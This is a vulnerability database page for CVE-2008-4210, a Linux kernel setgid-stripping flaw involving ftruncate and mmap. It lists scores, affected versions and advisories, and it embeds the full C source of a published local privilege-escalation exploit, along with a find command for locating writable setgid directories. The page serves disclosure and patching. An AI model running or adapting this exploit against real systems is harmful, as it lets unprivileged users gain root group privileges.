CVE-2008-4210 : Detail

CVE-2008-4210

A01-Broken Access Control
16.26%V4
Local
2008-09-29
15h00 +00:00
2017-09-28
10h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

fs/open.c in the Linux kernel before 2.6.22 does not properly strip setuid and setgid bits when there is a write to a file, which allows local users to gain the privileges of a different group, and obtain sensitive information or possibly have unspecified other impact, by creating an executable file in a setgid directory through the (1) truncate or (2) ftruncate function in conjunction with memory-mapped I/O.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 6851

Publication date : 2008-10-26 23h00 +00:00
Author : gat3way
EDB Verified : Yes

/* gw-ftrex.c: Linux kernel < 2.6.22 open/ftruncate local exploit by <gat3way at gat3way dot eu> bug information: http://osvdb.org/49081 !!!This is for educational purposes only!!! To use it, you've got to find a sgid directory you've got permissions to write into (obviously world-writable), e.g: find / -perm -2000 -type d 2>/dev/null|xargs ls -ld|grep "rwx" which fortunately is not common those days :) And also a shell that does not drop sgid privs upon execution (like ash/sash). E.g: test:/fileserver/samba$ ls -ld drwxrwsrwx 2 root root 4096 2008-10-27 16:27. test:/fileserver/samba$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) test:/fileserver/samba$ /tmp/gw-ftrex ash shell found! size=80200 We're evil evil evil! $ id uid=33(www-data) gid=33(www-data) egid=0(root) groups=33(www-data) Trqbva da kaja neshto umno kato zakliuchenie...ma sega ne moga da se setia. */ #include <unistd.h> #include <sys/types.h> #include <sys/mman.h> #include <fcntl.h> int main(int argc, char *argv[]) { char *buf=malloc(3096*1024); //3mb just to be sure int a,len; int fd,fd1; char *buf1; int shell=0; if (stat("/bin/ash",buf)==0) { printf("ash shell found!\n"); shell=1; } if (shell==0) if (stat("/bin/sash",buf)==0) { printf("sash shell found!\n"); shell=1; } if (shell==0) { printf("no suitable shell found (one that does not drop sgid permissions) :(\n"); exit(2); } len=0; if (shell==1) fd=open("/bin/ash",O_RDONLY); if (shell==2) fd=open("/bin/sash",O_RDONLY); while (read(fd,buf+len,1)) len++; printf("size=%d\n",len); fd1=open(".evilsploit",O_RDWR | O_CREAT | O_EXCL, 02750); ftruncate(fd1, len); buf1 = mmap(NULL, len, PROT_WRITE | PROT_EXEC, MAP_SHARED, fd1, 0); memcpy(buf1,buf,len); munmap(buf1,len); close(fd1);close(fd); free(buf); printf("We're evil evil evil!\n\n"); execv(".evilsploit", NULL); } // milw0rm.com [2008-10-27]

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.6.21.7

Linux>>Linux_kernel >> Version 2.2.27

Linux>>Linux_kernel >> Version 2.4.36

Linux>>Linux_kernel >> Version 2.4.36.1

Linux>>Linux_kernel >> Version 2.4.36.2

Linux>>Linux_kernel >> Version 2.4.36.3

Linux>>Linux_kernel >> Version 2.4.36.4

Linux>>Linux_kernel >> Version 2.4.36.5

Linux>>Linux_kernel >> Version 2.4.36.6

Linux>>Linux_kernel >> Version 2.6

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.18

Linux>>Linux_kernel >> Version 2.6.19.4

Linux>>Linux_kernel >> Version 2.6.19.5

Linux>>Linux_kernel >> Version 2.6.19.6

Linux>>Linux_kernel >> Version 2.6.19.7

Linux>>Linux_kernel >> Version 2.6.20.16

Linux>>Linux_kernel >> Version 2.6.20.17

Linux>>Linux_kernel >> Version 2.6.20.18

Linux>>Linux_kernel >> Version 2.6.20.19

Linux>>Linux_kernel >> Version 2.6.20.20

Linux>>Linux_kernel >> Version 2.6.20.21

Linux>>Linux_kernel >> Version 2.6.21.5

Linux>>Linux_kernel >> Version 2.6.21.6

References

http://secunia.com/advisories/32485
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/31368
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/32237
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2008-0957.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2008-0972.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.openwall.com/lists/oss-security/2008/09/24/8
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/33280
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2008/dsa-1653
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.openwall.com/lists/oss-security/2008/09/24/5
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/32356
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/32918
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/usn-679-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/32759
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.mandriva.com/security/advisories?name=MDVSA-2008:220
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/32344
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2008-0973.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.redhat.com/support/errata/RHSA-2008-0787.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/32799
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/33201
Tags : third-party-advisory, x_refsource_SECUNIA